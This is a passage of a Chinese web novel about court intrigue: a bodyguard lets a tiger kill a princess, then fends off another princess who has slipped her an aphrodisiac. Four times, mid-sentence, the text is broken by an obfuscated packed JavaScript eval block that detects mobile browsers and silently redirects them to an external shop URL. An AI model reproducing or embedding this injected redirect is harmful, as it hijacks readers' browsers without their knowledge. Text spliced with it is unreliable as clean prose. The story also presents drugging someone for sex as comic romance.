她的这位姐姐，比儿时并无长进，仍爱开些简单却残忍的玩笑。 燕风望向亭中被押下的满面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485562|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊惶的徐家女眷，又想：倒也不必如此惊惧。毕竟这桩亲事是周贵妃亲自替女儿求来的，为的是拉拢徐家。纵然永宁胆大妄为，周贵妃也断不会轻易得罪人。 此事很快揭过。接下来的赏梅活动索然无味，众人虽仍强作笑颜，实则兴致全无。唯有永宁春风得意，眉梢眼角都带着掩不住的快慰。 至午后，宾客们便纷纷告辞而散。 永宁喝了几盏甜酒，脸颊微红，兴致却愈发高涨，偏不肯回去，拉着七公主出了映梅堂，要到园子后面的梅林里走马消遣。 燕风与一众奴仆自然要随行。谁知两位公主似是有些私房话，骑着两匹小矮马快行了几步。 走在前头的丫鬟回首一瞥，微微抬手作了个手势，仆从们心领神会，脚步慢了下来，与主子们拉开了些许距离。 燕风也只好放缓步子，目光顺势落在那领头的丫鬟身上，这才认出竟是巧杏。 她心中一动，若有所思。 * 梅林深处，枝头暗香浮动。 七公主轻轻推了姐姐一把，带着几分怒意： “我还以为你这回要坑的是那老妇，才替你唱了白脸。哪知道你竟是冲着徐家去的！母妃好容易促成的婚事，被你吃了熊心豹子胆一下得罪个干净！这事轻易过不去，你等着瞧，看母妃怎么收拾你！” 永宁一甩马鞭，冷哼一声：“你胆子也不小，心里想的竟然是长公主，可知若惹得父皇不喜，谁护得了你？” 此言一出，气氛霎时有些凝滞。 七公主随即撇开头：“不提那老妇，想想便觉得晦气。” 过了片刻，她拂了拂身上的披风，想起姐姐向来嘴硬心软，便服软道：“其实你又何必？徐家那位虽说不良于行，但父皇宠你，你嫁过去后养他十几二十个面首，眼不见心不烦，谁又敢说你半个不字？” 永宁抬手轻挥马鞭，小母马慢悠悠踱出几步。 “面首是一回事，子嗣又是一另回事。年前我偷着去瞧过，说是不良于行，其实都是避重就轻捡好听的。那人——” 她顿了顿，声音骤然发狠，“我从没见过如此肥胖不堪的人！若要我与那般人同床共枕，生下孩儿，不如现在就让我一头撞死！” 七公主默了默，心中虽有几分不忍，面上却仍小声辩道：“母妃也未必知道得那般仔细……” “她怎会不知道？”永宁冷笑：“她还在我面前把那头肥猪夸得天上少有，地上绝无！” "左不过是为了三哥！三哥是她亲生的，难道你我就不是她亲生的了？” 七公主一脸茫然：“这事同三哥又有什么关系？” 永宁心底鄙夷妹妹的迟钝，面上却装出痛心疾首的模样，“今日是我，往后轮到你，你自然就明白了。" 七公主愣了愣，手里的缰绳不觉一松。 半晌，才心虚道：“徐家是累世显贵，母妃也未必全是为了三哥。再说了，若三哥将来得了大位，咱们姐妹不是更好……” "七妹！”永宁冷笑打断，“咱们已是父皇最宠爱的公主，是天家的人，又何须去图那臣子家的显贵？” "三哥也好，哪位哥哥也好，将来你我都还是公主，又有什么分别？便是前几年皇叔大逆不道，哥哥弟弟们都关在苑子里，咱们可曾少过半分尊荣？" 七公主没有接话。 "你我姐妹，"永宁压低了声音，"才是真正在一条船上的人。" 57. 一杀 听了这话大为震撼的，除了七公主，还有远处暗暗偷听的燕风。 或许，抛开前尘往咎，永宁确实是一把能供自己攀登的云梯。燕风生出这样一个念头。 正此时，她心头突然涌起一股不祥。 风里掺入了什么陌生的气息，若有若无地掠过鼻尖。未来得及细辨，便听身后一个温柔的声音笑道： “上次的事，还没来得及和大人说声谢呢。” 是巧杏。 燕风强按住心中翻涌，勉强笑道：“何必客气。” 巧杏垂眸，淡淡道：“方才公主说了，有大人在，她很安心。回宫的护卫也要仰仗大人呢……也不知他们准备得如何了？大人不去看看？” 听了这话，燕风反倒镇定了下来。 她扯出一抹的笑，仿佛真被提醒到了：“姑娘说得是。杨胜，砚生，炳安，你们去查查，看看队伍整备得如何。这边留我一人便够。” 顿了顿，又补了一句：“杨胜，把你的弓留下。等会儿公主来了兴致，说不定要我猎几只野物。” 她抬手接过那柄大弓：“嘿，这弓可真沉，不愧是武状元出身。” 巧杏低着头，没有应声。 空气一瞬静得诡异。 又一阵风过。 ——来了。 燕风在心里默道。 再等一等。 几息之后，梅林深处果然爆出一声撕心裂肺的尖叫。 “是公主！” 巧杏失声惊叫，马上往声源冲去。燕风提弓，纵身掠入林中。其余仆从也慌慌跟上。 林深处，一头斑斓猛虎伏低身子，虎啸震山。 奴仆们先是呆愣，旋即四散奔逃。永宁与七公主骑的小马被惊得人立嘶鸣，永宁率先跃下，竟在仓皇逃跑之际，狠狠绊了妹妹一脚。 七公主踉跄跌倒，眼看便要被猛虎扑中。 就在这当口，巧杏却猛然冲上前，身形一横，死死截住永宁逃生之路。同时，她发出一声尖锐的呼哨——那老虎骤然一顿，转而朝永宁的方向奔去。 燕风弓弦已满，指尖收紧。 这一箭足以射杀猛虎，救下永宁。这天大的功劳足以让她更上一层。 然而她看见巧杏单薄的背影，那近乎执念的孤勇，忽然想起那个午后，她曾见过的这个女子的模样——那藏在恭顺之下，痛彻心扉的过往。 她又何尝不是。 燕风胸口骤然一窒，心念转动间，指尖微偏，箭镞悄然移开寸许。 弓弦震响，破空之声骤起，箭矢重重射入，却只命中虎肩。猛虎厉啸，血光四溅，仍旧挟着腥风狂扑而至。 就在这电光石火间，巧杏忽然回身，似要救护永宁，却又将她死死箍住在死路。 猛虎利爪已携风落下！ 燕风心里喟然一叹。 第二箭、第三箭接连疾射，力道凌厉，逼得猛虎踉跄退步。 等尘土散去，地上只余两道血迹斑驳的身影。 永宁与巧杏双双倒地。 后者胸前裂开一道狰狞血洞。她竭力睁大双眼，渐散的瞳孔中迸出一抹奇异的光，死死盯向燕风，喉间汩汩溢血，唇齿开合，似有所言。 “多……谢……” 那气若游丝的两个字，混着血沫，微弱地飘入燕风耳中。 她握着弓的手指忽地一颤，目光从巧杏迅速灰败下去的脸庞上移开。 一旁的猛虎虽连中数箭，凶性却未绝，竟发出最后一记垂死咆哮，拖着残躯猛地朝早已吓傻了的七公主扑去。 “都是公主啊，又有什么差别？” 永宁那句话忽然在脑海中浮上来。燕风觉得有些讽刺，又觉得，罢了。 她苦笑一声，侧身扑到七公主身上，有意用肩臂去格挡那记凌厉的扑击。 “嘶啦——”一声，爪锋掠过，她袖衣顿时被撕裂，皮开肉绽，鲜血迅速涌出染红衣衫，看上去格外触目惊心。 林子里终于安静下来。 仆人们陆续赶到，看到的是七公主无事，而巧杏伏在永宁公主身上，两人俱已毙命的场景。众人无不失声痛哭。 燕风捂着血流不止的肩膀，却只是垂眸望着地上主仆二人的尸身。 一股冷厉之气自胸中翻涌而起。 * 大靖朝最受宠的公主，不明不白地死在了自己举办的赏梅会后。 消息一出，全城皆震。 皇帝勃然大怒，当日下诏彻查，锦衣卫、内廷侍卫、顺天府衙三方连夜封锁现场，逐一盘问在场人等。燕风身为护卫统领，首当其冲，即便带伤仍被连夜押回受审。周贵妃几度哭至昏厥，屡次跪请圣前，欲以护主不力之罪将在场护卫和奴仆全部处死，以慰公主亡灵。 幸得七公主亲赴御前，泣泪陈情，称猛虎猝然来袭之际，全凭北镇抚使燕风拼死相救，自己才得以生还，否则姐妹二人早已同葬虎口。 皇帝才松了口。 圣旨虽落，罪责却未完全洗脱，更别提论功行赏了。 次日清晨，曹宜春提着礼品亲自上门探望。 句句安抚，无非是劝她静心养伤，称圣上念其功过相抵，不再深究。燕风却不敢有半分松懈，应答间字字谨慎、滴水不漏。 这番应对下来，比林中搏虎还要费神。 送走曹公公，她才觉得肩背绷带勒得发紧。左肩火辣辣的疼，湿热的血迹早浸透了纱布，这伤比她想象中要重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485563|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得多。 她侧躺在榻上，抬眼望着屋梁。 真是走了一步臭棋。 七公主虽已被苦肉计暂时制住，可最关键的一环，还圆不上。 她正这样想着，院子里传来多人的脚步声，紧接着江鱼清脆的嗓音隔门而入： “燕哥，您的属下们来看您了！” 燕风眯起眼，苦笑一声。说曹操，曹操到。 严炳安、杨胜与白砚生三人一进屋，便齐齐躬身行礼。 “都起来坐下吧，”燕风侧倚在榻上，懒懒一笑，“什么时候跟我这么讲规矩了？” 三人依言落座。白砚生抬眼打量她，忍不住道：“大人脸色还是不好，该让太医多来几趟。” “太医来得再勤，也医不了心病。”燕风轻叹一声，慢慢坐起身，指向桌上那叠高高的礼品：“瞧，曹宜春曹公公清早才来过。永宁公主薨了，贵妃悲痛，我这心里……也堵得慌。” 严炳安接道：“大人要是当时没叫咱们走就好了，人多些，也许能想出法子救下公主。” 屋内霎时一静。 燕风低头摩挲着榻沿，半晌才抬眼，带着点调侃的味道：“倒不见得。” 她的目光从他们脸上一一掠过，语气轻松，言辞却像钝刀割肉。 “炳安，你军户出身，进北镇抚司是承祖上功荫。可平日能躲懒便躲懒，你的刀法拳脚，我心里有数。真遇上老虎，你敢上吗？” 严炳安干笑两声，摸了摸鼻子，没接话。 "砚生，富户家的小少爷，掏了银子进衙门练练皮肉也就罢了。真要拼命，你可舍得？" 白砚生躬身：“大人说得是。” “杨胜呢……”燕风从桌上抬起了那把重弓，搁在膝头，“倒是有一把好弓。” 杨胜脸上微热，下意识就挺直了腰。 "武状元出身，力气是有的，弓箭却并不娴熟，准头欠佳。若真遇上猛虎，难道要与它贴身肉搏？"她淡淡道，"有上进心是好事。先从小弓练练眼力吧。" 三人心底俱是一寒。 这位平日看似随和的上司，竟将他们的底细摸得如此清楚。 燕风见他们神色微变，才轻轻一笑，将弓放回案上：“行了，别绷着了。今年流年不利，横祸飞来，我能捡回这条命已是万幸，全赖上天庇佑，加之七公主仁善。但愿此后……别再横生枝节了。” 三人齐声应下，气氛这才缓和些。 燕风重新躺了回去，阖眼仿佛无事发生，懒声道：“都回去歇着吧。待圣上派来查案的大人一到，又有得好劳神了。” 屋中恢复寂静。 燕风缓缓吐出一口气，指尖无意识地摩挲着，久久没有动。 58. 来客 午后一觉睡得昏沉，燕风一睁眼，天色已经大暗了。 房中未点灯，四下昏昧。窗棂淌入的月光如一缕残线。 她先是茫然，随即猛地从睡意中惊醒，唤道：“江鱼？什么时辰了？怎么不点灯？” 外头依稀传来一声：“来了。” 门被轻轻推开，一个女子在昏暗中端着一碗汤走了进来。她低着头，绕过灯台，径直朝榻前走来。 燕风的指尖悄悄攥紧枕下常备的匕首。 又悄然放开。 “主子，该喝药了。” 那声音轻轻的，却透着一丝难以掩饰的兴奋。 燕风心里叹了口气，接过汤碗，仰头装作一饮而尽，袖口却悄悄湿了一片。 见她喝了，那人明显松了口气，抬头时眉眼飞扬：“想不到竟如此顺利，燕大人，你今后可要警惕些呀。” 燕风配合地装作大吃一惊：“你不是江鱼……你是谁？” 那人咯咯笑了一声，蹦跳着过去在桌上点了盏灯。烛火忽明，映出一张还算得上熟悉的脸。 “七公主？” 燕风的演技愈发娴熟，作势要起身行礼。 七公主果然快步上前，扶住她的肩：“恩公何必多礼！” 这一扶扶得极实诚，几乎把人整个抱住了，又按在榻上不让动。 七公主笑着地打量她：“你果然长得俊俏，比我想象中还要好看。” 这话突兀得很。 燕风心头发虚，庆幸今日虽没有带面甲，但为了见客用了罗同教的伪术，脸部轮廓稍稍粗了些，看不出女子模样。 “公主谬赞了。” 她不动声色要挣开七公主。 七公主也不恼，竟然带了些撒娇的语气：“我也知道此趟冒昧，可我心里实在憋闷得慌，却不知道要向谁说。” “公主，可使不得，在下是外臣，而且隔墙有……” 一只食指忽然按上她的唇，堵回了未尽之语。 手的主人似嗔似怒：“什么隔墙有耳？这满京城的耳目不都归你管吗！” 转眼又放软语调：“今日我就这么一说，你就这么一听。只当是帮我个忙，听听我的牢骚，成不成？” 如此刚柔并济，榻上的人再说不出拒绝的话。 “从前我不信，可帝皇家的冷漠，我如今才算彻底明白了。母妃她如此歇斯底里，恐怕不是在伤心女儿，而是在可惜那桩婚事。真不知道徐家到底有什么好，竟还盘算拿我去顶缺！” 燕风眉心微动，知道这话绝不该听，忙道：“公主大约是误解了贵妃。天下哪有不疼儿女的母亲呢？何况永宁公主才德兼备……” “你别在我面前夸那个贱人！” “你昨日难道没看到吗？她故意绊我一脚，想拿我的命当垫脚石呢！真是老天有眼，叫她不得好死！” 燕风一时语塞。 七公主自己倒笑了。 “我知道你怕什么。那老虎来得蹊跷，父皇下令要彻查此案，沾上的人不死也得扒层皮。你当然不敢说她半句坏话，就怕惹上麻烦。” “公主明鉴，臣绝无不轨之心。” 七公主摆摆手：“自然不可能是你。想要她命的人多了去，远远轮不到你。怪就怪她以前作孽太多。” “哎，你是北镇抚司的头儿，别告诉我你什么都不知道！只我以前傻，一直被蒙在鼓里。要不是姨母告诉我，我还以为魏大方脸在南边享福。闹了半天，是替她背锅，被逐出京了！” 该听不该听的都听了，燕风只好苦笑。 “算了。”七公主突然垂下眼，“同你说这些做什么，正事要紧。” 燕风抬头：“敢问公主前来，是——” “你喝了药没反应吗？” 燕风一怔，立刻扶额作眩晕状：“是有些不对劲，公主方才给臣饮下的，是何药？” 七公主含笑看她，倒像在打量一件自己刚得手的珍宝。 “是我特意寻来的上好的，合欢散！” “啊？”燕风声音猛地拔高了。 “你叫甚么？倒像我占你便宜似的。” “微臣不敢” “你敢不敢，也得敢了！” 七公主猛地抓住燕风的手，按向自己胸口。 燕风这才发觉，她那厚实披风之下，竟衣着清凉。 “你吃不了亏！我同老五那贱人可不一样，你是我头一个！如果将来注定要嫁给徐家那头猪，我倒情愿先给你！” “过了今夜，你要什么我都给你！北镇抚司这座庙小，锦衣卫总指挥给你做做如何，反正那姓李的也是一把老骨头了，哪处能比得上你！” “你到底在挣扎什么？我知我容色平平，可难道我就如此下贱，白给的别人也不要？” 最后一句已是带了哭腔了。 燕风心生恻隐，但此事绝无回旋余地。 “七公主，您误会了。您看我这还伤着，终究……有心无力啊。” 对方果然好哄，一下子就破涕为笑了，但也完全没有要收手的意思。 “要的就是你伤着！不然我哪有机会？你可是能三箭射虎的人。如此神武，就算伤了一边，另一边想必也够用！此乃良辰美景，燕郎，何必故作矜持啊……“ “砰”地一声钝响。 神情狂热的七公主突然一软，整个人直直倒在她腿边。 燕风一愣，还没反应过来，就见一个高大的身影突然出现在榻前。 来人肩背宽阔，长腿挺拔，然而胸口剧烈起伏，鬓发微乱，想是一路疾行赶来。 他鼻尖上仍浮着几滴细汗，悬而未落地坠着，看着让人心里痒痒，真想替他拂去。 燕风一颗心狂跳，不是宗恂又是谁。 “你怎么样？” 宗恂蹲下身，关切的目光落在她层层绷带缠绕的左肩上。 “还好没流血。” 话音未落，已经伸手想替她解开一看。 燕风连忙下意识挡开，倒不是她小气。只是她的伤口较大，绷带连接胸口绑定，绷带下面可什么也没穿。 宗恂立刻意识到自己的无礼，讪讪地缩回了手。 眼下还有个大麻烦让人无法无视。 燕风皱了皱眉，指了指伏在自己腿边被拍晕的公主。意思是，你有点冲动了。 虽则她方才其实动过一模一样的念头。 宗恂心领神会，露出了一个勉强的笑：“不打紧，你别担心。” 他站起身，侧开高大的身子，燕风这才发现门口还站着一个人。 竟然是七公主身边那个看上去挺稳重的大宫女，好似唤做……唤做…… “珍儿，把你主子扶回去吧。你知道明日该怎么说？”宗恂一副和珍儿很熟稔的样子。 “珍儿明白。” 珍儿行了个礼，干净利落地将七公主用披风包好，抱出了门。 屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485564|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里又只剩下了两个人。 宗恂转过身，还是那笑，他道：“你家还算大，借你的西厢房用一晚，她们明早就走。” 燕风点点头，忽然想起宗恂从前似乎有个神秘的红颜知己，唤作芸娘。 她忍不住心头泛酸，试探着问：“珍儿就是你的那位芸娘？” 宗恂脸色一顿，显然有些意外这一问，回道：“不是。但确实是芸娘的人。” “哦。”燕风闷闷地回了一声，心里却更不是滋味。 原来真有这么一个叫芸娘的人啊。 “芸娘……其实就是罗同罗师傅。”宗恂看了看她，像是怕她多想，还是多解释了一句。 “哈哈!” 燕风没忍住，又立刻觉得自己笑得太大声，假装不在意地嘀咕：“谁问你了。” 宗恂也轻轻笑了一声，顺势坐在了床沿，捱了几息，才一本正经地道：“上回确实是我唐突了，我该同你道个歉，还望你燕大人海涵，莫再与我计较了。” 燕风立即悟到这个上回是哪回，耳朵发烫，但又十分不解。 “我几时同你计较了？” “若不是计较，怎么再也没有来找过我？” “这……这……” 这不是因为《春色秘言》里说了，此事后若女方主动便显得不矜持，上赶着了吗…… 燕风脸庞炸红，连后背都泌出点点汗液，却还梗着脖子反驳道：“那你怎么不来找我？凭什么回回要我来找你？” 宗恂开始认真解释：“我是想来的。可你上次一声不吭就跑了，我摸不准你的意思。再者我轻功不如你，怕被人发现给你惹来麻烦。” 这话听得受用，燕风觉得心里软成了一滩。 “好吧，这次算我不对。其实我也怕被人发现，上次罗同师傅提起的那人，我至今也不知道他是谁，少不得要处处当心。对了，你今日怎么敢来了？” “我收到了珍儿传的信。而且，今夜那人被调开了，应该是无碍的。” “你知道那人是谁？” 燕风有些吃惊。 宗恂迟疑地点了点头。 “但不能让我知道？是为了我好？” 燕风想起了迟三上次那番话，难不成他不是诓她。 宗恂又点了点头。 “那总得有什么能让我知道的吧？” 宗恂略一思索，沉声道：“此人有个诨号，叫‘朱厌’。这是一种上古凶兽的名字，意为不详。他武功已臻化境，恐怕犹在我之上。” “然而武功尚在其次。” 他顿了顿，“最可怕的是他能窥探乃至汲取敌意。对手的杀心越重，他的武力便为那杀气所激，愈发恐怖。凭此一点，他已立于不败之地。” 燕风倒吸了一口凉气：“怪不得要瞒着我…也怪不得他敢单枪匹马上京弑君。看来为今之计，只有我在京城待久点，说不定能让此人重新倒戈。” “罗师父正是这个意思。” 话完正事，两人一时无言。燕风低着头，无端去卷床边的穗子，一下，两下，卷到第三下，烛火跳了跳，挣扎几息最终还是灭了。 燕风心中无语：江鱼持家有道，今日这截蜡烛头苦苦支撑这许久，也算是功德圆满了。 黑暗中，宗恂像是终于下定了某种决心，从榻上起了身。 “很晚了，我该走了。你伤得重，该好好休息。” 燕风一下子便抓住了他的袖子。 59. 相悦 宗恂以为她还有话要说，便侧身等她的下文。 燕风支支吾吾半天，突然福至心灵：“我喝了七公主给我的药。” 说着，不动声色地把被药汁濡湿的袖口往腕子里藏了藏。 宗恂大吃一惊，反手就将她的手腕扣住，开始诊脉。 燕风心里暗道不好，怎么忘了他还会几手医术。 果然宗恂的表情从凝重渐渐变得轻松。 “好端端吓我做什么？她给你带的是合欢散，最是活血，你身上又有伤口，弄不好是要大出血的。” 燕风转而放软了语气：“确实喝了一些，可能量少，还诊不出来吧。宗恂，我们很久没见了，你留下吧，陪陪我？” 也许是黑暗给了她勇气，也或许是这药光靠闻的也能入脑。燕风默默上了手，朝宗恂胸口探去，使了些力，便把他的衣襟扯散了，露出大片光洁的胸膛。 冬夜的冷风通过散开的领口吹得宗恂一个激灵，也将他吹醒了。他摇了摇已经有些飘飘然而昏胀的头，理智让他制住了在他胸前那只不安分的手。 “不可。” 燕风几乎是有些恼羞成怒了，口不择言起来。 “什么不可？你可别多想，我只是想看看你是不是易容来的贼子。易容可以让脸以假乱真，里头可伪装不了。我可不是想占你便宜，宗将军的什么我没见过？” “你承认了？” 宗恂的笑意怎么都止不住，他伏下身子，将额头抵在她额头上。 燕风一下子意识到他指的是在北地，她将他扒光了为他取暖，后来却死不承认的那晚。刚要接着嘴硬，却发觉额上传来滚烫的一个吻。 “我可是记住了，你承认了。你把我看光了，可得对我负责。总有一天，我要风风光光地娶你进我宗家的门。 “小风，我们来日方长。” 她一下子怔住了。 脑海中却不合时宜地浮现了巧杏那个执拗的背影——她一介平民孤女，是靠着多大的毅力，又是穷尽多少的智慧和手段，才能一步步走到昨日，赴那一场精心设计的，必死的局。 恰如她现在想做的一样。 她在他怀中不住地摇头。 “不，不，我不要等以后。我只争朝夕。” 宗恂突然意识到了什么，小心地捧着她的脸，轻轻安抚：“你别多想了，我说过我们都会长命百岁。” 他继续耐心解释：“你愿意同我亲近，我很欢喜。可是那事，同合欢散也没什么两样，若是你的伤口因为我今夜的放纵而有一丝一毫的损伤，我余生都会活在痛苦里，你可明白？” 见对方眼中终于有了些清明，宗恂才恋恋不舍地放开她。 “好了，我真的该走了。再不走，我真怕我自己也舍不得。” 屋里终于剩下了燕风一人。 方才的茫然渐渐褪去，欢喜自心底悄然生起，接着慢慢盈满整个胸腔。若不是因为肩膀还伤着，她非要在床上打几个滚才好。 来日方长…… 她心想，须得更加刻苦，变得更强才好。唯有如此，才能挣得与那人一起的长命百岁。 正想着，肚子忽然“咕”地叫了一声。她这才惊觉，自己从晌午至今还粒米未进。她撑起身，正欲去厨房寻些吃的，却见江鱼端着一大盘餐食推门而入。 “老大！你醒啦？”江鱼满脸歉疚。 “真是对不住，我也不知道怎么竟睡死过去了，这会儿才醒。饿坏了吧？” 她放下托盘，瞥见灯台上燃尽的烛泪，又“哎呀”一声：“这蜡烛真不禁烧，我明明记得还剩好大一截呢！你先吃，我再去库房取一支新的来！” 燕风含糊地应了一声，执起筷箸，开始狼吞虎咽。 不多时，江鱼便举着一支新烛回来。烛光亮起，她神神秘秘地凑到燕风身边，压低声音道：“老大，您猜我方才碰见谁了？” 燕风随口应了一句：“谁啊？” 说碰见了谁她都不稀奇，方才她屋里来了不少人呢。 “是宗将军！” 江鱼语气夸张，“他特意叫我来给你送饭，说你该饿了。不过……” 她顿了顿，面露疑惑，“宗将军瞧着好像腿脚不太便利，走路模样怪怪的。头儿，您说是不是大牢里那些杀才，私下对他动刑了？” “噗——咳咳！”燕风一口热汤险些呛出，脸颊蓦地又烧了起来。 她赶忙低下头，含糊其辞地嘟囔道：“……嗯，可能吧。” * 七公主近来十分郁闷。 一是周贵妃总在她耳边念经似的叨叨徐家有多好，言下之意要她明年嫁过去顶老五的缺儿。二是燕镇抚使虽然还是常常进宫面圣，可不知是见鬼了还是怎么的，她竟一次也没碰见过他！ 今日便是如此。 七公主一得到消息说燕镇抚使进了宫，便顾不得许多，提着裙子风风火火地往那处赶去。她一路小跑，差点把头上的金步摇都颠落了，但还是去迟了一步。 七公主愤愤而归，一边走一边抱怨：“燕郎不会是在躲我吧？怎么就这么巧，路上随便抓个洒扫宫女，一个月都能见他好几次，偏偏我就一次都碰不着！” 珍儿在旁安慰：“公主多虑了，怕只是巧合吧。兴许公主这个月一次没见到燕大人，下个月便天天都能见了。” 七公主听了这话，脸色才缓和下来：“也对，世上事就是这样，哪有什么道理可讲。再说了，燕镇抚使又不知道我在哪里，就算真有心想躲我也躲不掉，北镇抚司的探子可进不了宫。” 珍儿点头称是。 忽然，七公主猛地停步，眼睛里闪过一丝寒光：“不对！万一宫里有他的内奸给他报信呢？” 珍儿心里咯噔一下，忙低下头，不敢接话。 七公主却自顾自地冷笑：“我知道了，一定是母妃！是她逼着燕郎躲我!她总是这样，管天管地的！偏我还说不得她，一说她就哭，还要提那短命的老五……真是烦也烦死了！” 珍儿这才暗暗松了口气，连忙细声劝道：“公主别气坏了身子，娘娘也不过是为您着想。” 两人说着，走到御花园东侧，恰遇二皇子和五皇子在那里闲聊。 二人皆是宫里身份低微的宫女所出，自幼抱团取暖，如今更是整日里和个狗皮膏药似的黏在一处。 七公主一向瞧不上他们，眼皮一抬便要当没看见，却听到几句耳熟的名字，她脚步一顿，果然是在谈燕镇抚使。 她面上不动声色，拐个弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485565|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却拉着珍儿藏在灌木后，开始偷听。 只听五皇子惊叹道：“二哥，你方才可见了那姓燕的？真是了不得！记得正月初见时，我还说此人阴柔有余、阳刚不足，当时听闻他三箭射死猛虎，我还不信呢。没想到才几个月不见，中间还受了次伤，如今一见，猿臂蜂腰，行走如风，真真是潇洒好看。” 七公主听了，骄傲得活像只开了屏的孔雀，斜飞了个媚眼给珍儿，仿佛在说：我的眼光不赖吧？ 不想二皇子“哼”了一声，故作老成道：“那胸肌，倒是带劲儿！不过同我在军营里见过的老将们比，还是差得远。中看不中用，不过是个花架子。三箭死虎？我看也就是走了运罢了。” 珍儿一听，心里咯噔一下，忙去拉自家主子的袖子。可惜还是迟了一步。 七公主一下子就蹦了出来，指着二皇子就开骂：“老二，你是个什么东西！还敢在背地里嚼舌头？你那点本事，出了宫门连一条野狗都斗不过！你可知那猛虎有多大？你连狗都不敢打，还敢笑别人射虎是走运！“ 二皇子一愣，脸色铁青：“七妹，你——” “我什么我！”七公主火气上头，越说越凶，“我若是你，早就闷在家里不出门，省得丢人现眼！还什么军营里见过的老将军，你同他们有什么关系？这么些年整日不着五六，眠花宿柳，还没叫你死在那些花楼婆娘的肚皮下才真是走了你的狗屎运！” 珍儿和五皇子两边劝架。 七公主这边根本劝不住，二皇子这头却熄了火，心想算了算了，这么多年都过来了，和她个小女娃计较算什么？ 突然他余光一瞟儿，看到三皇子也正巧路过，旧仇怨霎时涌上心头：这兄妹几人，仗着母家势大，向来眼高于顶，何曾将他这兄长放在眼里？ 特别是那老三，长幼有序，大家又都不是嫡出，他见着自己就合该恭恭敬敬地称一声‘二哥’，又凭什么次次都要他先问好？ 他心头火起，罕见地端出兄长架势，厉声道：“七妹！你越发不知礼数了！一个待字闺中的金枝玉叶，怎好对外男评头论足，出言无状？这岂是皇家体统！” 他心里对自己的说辞十分满意，纵是父皇在场，也决计是挑不出毛病的。 七公主眼风也瞟见了三哥过来，三哥简直是她第二个管天管地的母妃，气焰不由自主便矮了三分，一时竟未敢立刻回嘴。 二皇子自觉占理，又道：“我是皇子，天潢贵胄，生来就和那些人如云泥之别。身形练得再好又如何，就算是真能搏虎又怎样，还不是见了我要磕头受我差遣？我何须花那份苦功？自有千千万万花那苦功的人哭着喊着到我面前要为我效劳！” 他越说越觉畅快，那点阴刻心思又浮上来，低声讥诮道：“人家带着面具呢，就把你迷得五迷三道，谁知那面具底下是何等尊容，若是长得如牛鬼蛇神，你又要到哪里哭去！” 这可真是捅了马蜂窝。 七公主尖叫一声便要扑上去，被珍儿与赶来的三皇子死死拦住。 在两人的合围中，七公主仍厉声不绝：“你这形容猥琐，穿莽服都遮不住丑的癞蛤蟆恶心挫子，你怎知我没见过人家长什么样？我还就告诉你，他长得胜你百倍千倍！即便不着礼服，也比你更肖天家气度！” 60. 隐患 待回了住处，七公主还是气得直跺脚。但抬眼见三哥神情严肃，便知自己今日算是出了大格，小心翼翼又想收敛几分脾气。 两股情绪对冲，不由得委屈得啪嗒啪嗒开始落泪。 三皇子叹了口气：“你这又是何苦？” 七公主不语，只一味地流泪。 “那同皇兄说说，那燕镇抚是个怎样的人，值得你如此这般维护？” “皇兄，他是个好人！他为了我差点丢了命，那么大只的老虎，吼一声我心都停了，他却拿身子护住我，若不是他，妹妹焉有命在？” 三皇子点点头：“可你从小就调皮好动，儿时也有侍卫拼命才救下你，怎不见你如此感恩戴德？” 七公主愣了愣，慌不择言道：“他不一样！他……他还坐怀不乱，我那样他，他都不愿占我的便宜？” 话一出口便觉不妙，果然三皇子一下子变了脸色。 “你怎样他了？”三皇子低喝，“说清楚，他欺负你了？” “没有没有。”七公主心知自己说漏了嘴，心中十分愧疚。 但禁不住哥哥拷问，如此如此这般这般，便倒了个干干净净。 三皇子心里觉得好笑，这才哪到哪，自己的小妹妹和故去的大妹妹比起来，简直是单纯得可爱。 面上却仍做出兄长的威严，沉吟道：“你们竟已有了这段了。” “小妹，你说你见过他面具下的样子了，长相究竟如何，可有什么疤痕缺陷？可不能堕了天家的气度啊！” 七公主眼神一亮，这是有戏？ 